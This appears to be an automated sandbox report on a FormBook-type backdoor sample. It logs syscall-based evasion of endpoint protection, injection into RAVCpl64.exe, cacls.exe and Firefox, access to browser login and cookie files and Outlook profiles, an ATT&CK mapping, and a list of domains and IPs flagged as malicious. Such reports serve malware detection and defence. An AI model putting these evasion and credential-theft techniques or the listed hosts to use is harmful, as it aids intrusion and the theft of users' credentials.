Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014A8470 mov eax, dword ptr fs:[00000030h]	2_2_014A8470
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0149640D mov eax, dword ptr fs:[00000030h]	2_2_0149640D
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_01536400 mov eax, dword ptr fs:[00000030h]	2_2_01536400
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_01536400 mov eax, dword ptr fs:[00000030h]	2_2_01536400
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0155F409 mov eax, dword ptr fs:[00000030h]	2_2_0155F409
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0155D430 mov eax, dword ptr fs:[00000030h]	2_2_0155D430
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0155D430 mov eax, dword ptr fs:[00000030h]	2_2_0155D430
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014D7425 mov eax, dword ptr fs:[00000030h]	2_2_014D7425
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014D7425 mov ecx, dword ptr fs:[00000030h]	2_2_014D7425
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0149B420 mov eax, dword ptr fs:[00000030h]	2_2_0149B420
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_01529429 mov eax, dword ptr fs:[00000030h]	2_2_01529429
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0152F42F mov eax, dword ptr fs:[00000030h]	2_2_0152F42F
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0152F42F mov eax, dword ptr fs:[00000030h]	2_2_0152F42F
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0152F42F mov eax, dword ptr fs:[00000030h]	2_2_0152F42F
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0152F42F mov eax, dword ptr fs:[00000030h]	2_2_0152F42F
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0152F42F mov eax, dword ptr fs:[00000030h]	2_2_0152F42F
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014C14C9 mov eax, dword ptr fs:[00000030h]	2_2_014C14C9
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014C14C9 mov eax, dword ptr fs:[00000030h]	2_2_014C14C9
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014C14C9 mov eax, dword ptr fs:[00000030h]	2_2_014C14C9
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014C14C9 mov eax, dword ptr fs:[00000030h]	2_2_014C14C9
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014C14C9 mov eax, dword ptr fs:[00000030h]	2_2_014C14C9
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014CF4D0 mov eax, dword ptr fs:[00000030h]	2_2_014CF4D0
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014CF4D0 mov eax, dword ptr fs:[00000030h]	2_2_014CF4D0
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014CF4D0 mov eax, dword ptr fs:[00000030h]	2_2_014CF4D0
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014CF4D0 mov eax, dword ptr fs:[00000030h]	2_2_014CF4D0
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014CF4D0 mov eax, dword ptr fs:[00000030h]	2_2_014CF4D0
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014CF4D0 mov eax, dword ptr fs:[00000030h]	2_2_014CF4D0
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014CF4D0 mov eax, dword ptr fs:[00000030h]	2_2_014CF4D0
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014CF4D0 mov eax, dword ptr fs:[00000030h]	2_2_014CF4D0
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014CF4D0 mov eax, dword ptr fs:[00000030h]	2_2_014CF4D0
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014C44D1 mov eax, dword ptr fs:[00000030h]	2_2_014C44D1
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014C44D1 mov eax, dword ptr fs:[00000030h]	2_2_014C44D1
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0152E4F2 mov eax, dword ptr fs:[00000030h]	2_2_0152E4F2
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0152E4F2 mov eax, dword ptr fs:[00000030h]	2_2_0152E4F2
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014DE4EF mov eax, dword ptr fs:[00000030h]	2_2_014DE4EF
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014DE4EF mov eax, dword ptr fs:[00000030h]	2_2_014DE4EF
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0155F4FD mov eax, dword ptr fs:[00000030h]	2_2_0155F4FD
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014D54E0 mov eax, dword ptr fs:[00000030h]	2_2_014D54E0
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014C94FA mov eax, dword ptr fs:[00000030h]	2_2_014C94FA
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014A64F0 mov eax, dword ptr fs:[00000030h]	2_2_014A64F0
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014DA4F0 mov eax, dword ptr fs:[00000030h]	2_2_014DA4F0
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014DA4F0 mov eax, dword ptr fs:[00000030h]	2_2_014DA4F0
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0152C490 mov eax, dword ptr fs:[00000030h]	2_2_0152C490
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014D648A mov eax, dword ptr fs:[00000030h]	2_2_014D648A
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014D648A mov eax, dword ptr fs:[00000030h]	2_2_014D648A
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014D648A mov eax, dword ptr fs:[00000030h]	2_2_014D648A
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014A0485 mov ecx, dword ptr fs:[00000030h]	2_2_014A0485
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014DB490 mov eax, dword ptr fs:[00000030h]	2_2_014DB490
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014DB490 mov eax, dword ptr fs:[00000030h]	2_2_014DB490
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014D44A8 mov eax, dword ptr fs:[00000030h]	2_2_014D44A8
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014A24A2 mov eax, dword ptr fs:[00000030h]	2_2_014A24A2
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014A24A2 mov ecx, dword ptr fs:[00000030h]	2_2_014A24A2
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_015384BB mov eax, dword ptr fs:[00000030h]	2_2_015384BB
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014DE4BC mov eax, dword ptr fs:[00000030h]	2_2_014DE4BC
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0152D4A0 mov ecx, dword ptr fs:[00000030h]	2_2_0152D4A0
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0152D4A0 mov eax, dword ptr fs:[00000030h]	2_2_0152D4A0
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0152D4A0 mov eax, dword ptr fs:[00000030h]	2_2_0152D4A0
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0154E750 mov eax, dword ptr fs:[00000030h]	2_2_0154E750
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014D174A mov eax, dword ptr fs:[00000030h]	2_2_014D174A
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014D3740 mov eax, dword ptr fs:[00000030h]	2_2_014D3740
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0149F75B mov eax, dword ptr fs:[00000030h]	2_2_0149F75B
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0149F75B mov eax, dword ptr fs:[00000030h]	2_2_0149F75B
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0149F75B mov eax, dword ptr fs:[00000030h]	2_2_0149F75B
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0149F75B mov eax, dword ptr fs:[00000030h]	2_2_0149F75B
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0149F75B mov eax, dword ptr fs:[00000030h]	2_2_0149F75B
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0149F75B mov eax, dword ptr fs:[00000030h]	2_2_0149F75B
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0149F75B mov eax, dword ptr fs:[00000030h]	2_2_0149F75B
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0149F75B mov eax, dword ptr fs:[00000030h]	2_2_0149F75B
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0149F75B mov eax, dword ptr fs:[00000030h]	2_2_0149F75B
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014C2755 mov eax, dword ptr fs:[00000030h]	2_2_014C2755
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014C2755 mov eax, dword ptr fs:[00000030h]	2_2_014C2755
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014C2755 mov eax, dword ptr fs:[00000030h]	2_2_014C2755
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014C2755 mov ecx, dword ptr fs:[00000030h]	2_2_014C2755
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014C2755 mov eax, dword ptr fs:[00000030h]	2_2_014C2755
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014C2755 mov eax, dword ptr fs:[00000030h]	2_2_014C2755
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0152174B mov eax, dword ptr fs:[00000030h]	2_2_0152174B
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0152174B mov ecx, dword ptr fs:[00000030h]	2_2_0152174B
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014DA750 mov eax, dword ptr fs:[00000030h]	2_2_014DA750
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014B2760 mov ecx, dword ptr fs:[00000030h]	2_2_014B2760
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014E1763 mov eax, dword ptr fs:[00000030h]	2_2_014E1763
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014E1763 mov eax, dword ptr fs:[00000030h]	2_2_014E1763
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014E1763 mov eax, dword ptr fs:[00000030h]	2_2_014E1763
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014E1763 mov eax, dword ptr fs:[00000030h]	2_2_014E1763
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014E1763 mov eax, dword ptr fs:[00000030h]	2_2_014E1763
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014E1763 mov eax, dword ptr fs:[00000030h]	2_2_014E1763
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014A4779 mov eax, dword ptr fs:[00000030h]	2_2_014A4779
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014A4779 mov eax, dword ptr fs:[00000030h]	2_2_014A4779
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014D0774 mov eax, dword ptr fs:[00000030h]	2_2_014D0774
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014C270D mov eax, dword ptr fs:[00000030h]	2_2_014C270D

Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe

Memory allocated: page read and write | page guard

Found direct / indirect Syscall (likely to bypass EDR)

HIPS / PFW / Operating System Protection Evasion

Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	NtQuerySystemInformation: Direct from: 0x351436D	Jump to behavior
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	NtProtectVirtualMemory: Direct from: 0x3515954	Jump to behavior
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	NtDelayExecution: Direct from: 0x3DBC775	Jump to behavior
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	NtQueryInformationToken: Direct from: 0x350CC5F	Jump to behavior
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	NtDelayExecution: Direct from: 0x350B105	Jump to behavior
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	NtResumeThread: Direct from: 0x3DBC9B7	Jump to behavior
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	NtClose: Direct from: 0x7FFAAECE9E7F
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	NtClose: Direct from: 0x3514562
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	NtDeviceIoControlFile: Direct from: 0x351441C	Jump to behavior
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	NtResumeThread: Indirect: 0x1383B10	Jump to behavior
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	NtDelayExecution: Direct from: 0x3DBC946	Jump to behavior
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	NtQueueApcThread: Indirect: 0x137F334	Jump to behavior
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	NtProtectVirtualMemory: Direct from: 0x35142D1	Jump to behavior
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	NtSetContextThread: Indirect: 0x13834F0	Jump to behavior
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	NtCreateThreadEx: Direct from: 0x350B95F	Jump to behavior
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	NtProtectVirtualMemory: Direct from: 0x7FFAE1422651	Jump to behavior
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	NtDeviceIoControlFile: Direct from: 0x350D322	Jump to behavior
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	NtDeviceIoControlFile: Direct from: 0x350D366	Jump to behavior
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	NtDelayExecution: Direct from: 0x350C552	Jump to behavior
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	NtDelayExecution: Direct from: 0x350D237	Jump to behavior
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	NtClose: Indirect: 0x137F3B9
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	NtDeviceIoControlFile: Direct from: 0x35144C4	Jump to behavior
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	NtDeviceIoControlFile: Direct from: 0x350D2F3	Jump to behavior
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	NtProtectVirtualMemory: Direct from: 0x3DC44CD	Jump to behavior
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	NtSuspendThread: Indirect: 0x1383800	Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe

Memory written: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe base: 400000 value starts with: 4D5A

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Section loaded: NULL target: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Section loaded: NULL target: C:\Windows\SysWOW64\cacls.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\cacls.exe	Section loaded: NULL target: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\cacls.exe	Section loaded: NULL target: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\cacls.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\cacls.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Thread register set: target process: 7488	Jump to behavior
Source: C:\Windows\SysWOW64\cacls.exe	Thread register set: target process: 7488	Jump to behavior
Source: C:\Windows\SysWOW64\cacls.exe	Thread register set: target process: 6088	Jump to behavior

Queues an APC in another process (thread injection)

Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe

Thread APC queued: target process: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Process created: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe "C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe"	Jump to behavior
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	Process created: C:\Windows\SysWOW64\cacls.exe "C:\Windows\SysWOW64\cacls.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cacls.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: RAVCpl64.exe, 00000003.00000002.183786660977.0000000001010000.00000002.00000001.00040000.00000000.sdmp, RAVCpl64.exe, 00000003.00000000.179162753053.0000000001010000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: #Program Manager\|$iB=
Source: RAVCpl64.exe, 00000003.00000002.183786660977.0000000001010000.00000002.00000001.00040000.00000000.sdmp, RAVCpl64.exe, 00000003.00000000.179162753053.0000000001010000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: RAVCpl64.exe, 00000003.00000002.183786660977.0000000001010000.00000002.00000001.00040000.00000000.sdmp, RAVCpl64.exe, 00000003.00000000.179162753053.0000000001010000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: RAVCpl64.exe, 00000003.00000002.183786660977.0000000001010000.00000002.00000001.00040000.00000000.sdmp, RAVCpl64.exe, 00000003.00000000.179162753053.0000000001010000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Queries volume information: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information

Tries to harvest and steal browser information (history, passwords, etc)

Source: Yara match	File source: 2.2.Pp7OXMFwqhXKx5Y.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Pp7OXMFwqhXKx5Y.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.179274577947.0000000005D30000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.182790212280.0000000003470000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.179229670326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.182790291540.00000000034C0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\cacls.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\cacls.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\cacls.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\cacls.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\cacls.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\cacls.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\cacls.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\cacls.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Remote Access Functionality

Source: Yara match	File source: 2.2.Pp7OXMFwqhXKx5Y.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Pp7OXMFwqhXKx5Y.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.179274577947.0000000005D30000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.182790212280.0000000003470000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.179229670326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.182790291540.00000000034C0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Services File Permissions Weakness	412 Process Injection	1 Masquerading	1 OS Credential Dumping	121 Security Software Discovery	Remote Services	1 Email Collection	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	1 Disable or Modify Tools	LSASS Memory	2 Process Discovery	Remote Desktop Protocol	1 Archive Collected Data	5 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Services File Permissions Weakness	41 Virtualization/Sandbox Evasion	Security Account Manager	41 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	1 Data from Local System	5 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 DLL Side-Loading	412 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	5 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Abuse Elevation Control Mechanism	Cached Domain Credentials	113 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	4 Obfuscated Files or Information	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Services File Permissions Weakness	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	12 Software Packing	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 DLL Side-Loading	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Pp7OXMFwqhXKx5Y.exe	100%	Joe Sandbox ML
Pp7OXMFwqhXKx5Y.exe	45%	ReversingLabs	ByteCode-MSIL.Backdoor.FormBook

Name	IP	Active	Malicious	Reputation
88rtp.biz	172.96.191.39	true	true	unknown
www.eichner.pro	89.31.143.90	true	true	unknown
www.goldbracelet.top	172.67.201.49	true	true	unknown
www.224466.top	45.197.47.177	true	true	unknown
0be.info	173.0.157.187	true	true	unknown
www.smartgov.shop	13.248.169.48	true	true	unknown
www.juewucangku.xyz	8.136.96.106	true	true	unknown
www.brickhills.site	103.224.182.242	true	true	unknown
hayaniya.org	192.185.147.100	true	true	unknown
www.kubex.dev	217.160.0.183	true	true	unknown
www.epicurecooks.world	208.91.197.27	true	true	unknown
nng83.top	38.47.233.4	true	true	unknown
www.dialogpriest.online	176.31.209.107	true	true	unknown
sido247.pro	84.32.84.32	true	true	unknown
www.glowups.life	209.74.79.42	true	true	unknown
www.0be.info	unknown	unknown	false	unknown
www.foggvdqutxzgea.xyz	unknown	unknown	true	unknown
www.sido247.pro	unknown	unknown	false	unknown
www.88rtp.biz	unknown	unknown	false	unknown
www.nng83.top	unknown	unknown	false	unknown
www.hayaniya.org	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Reputation
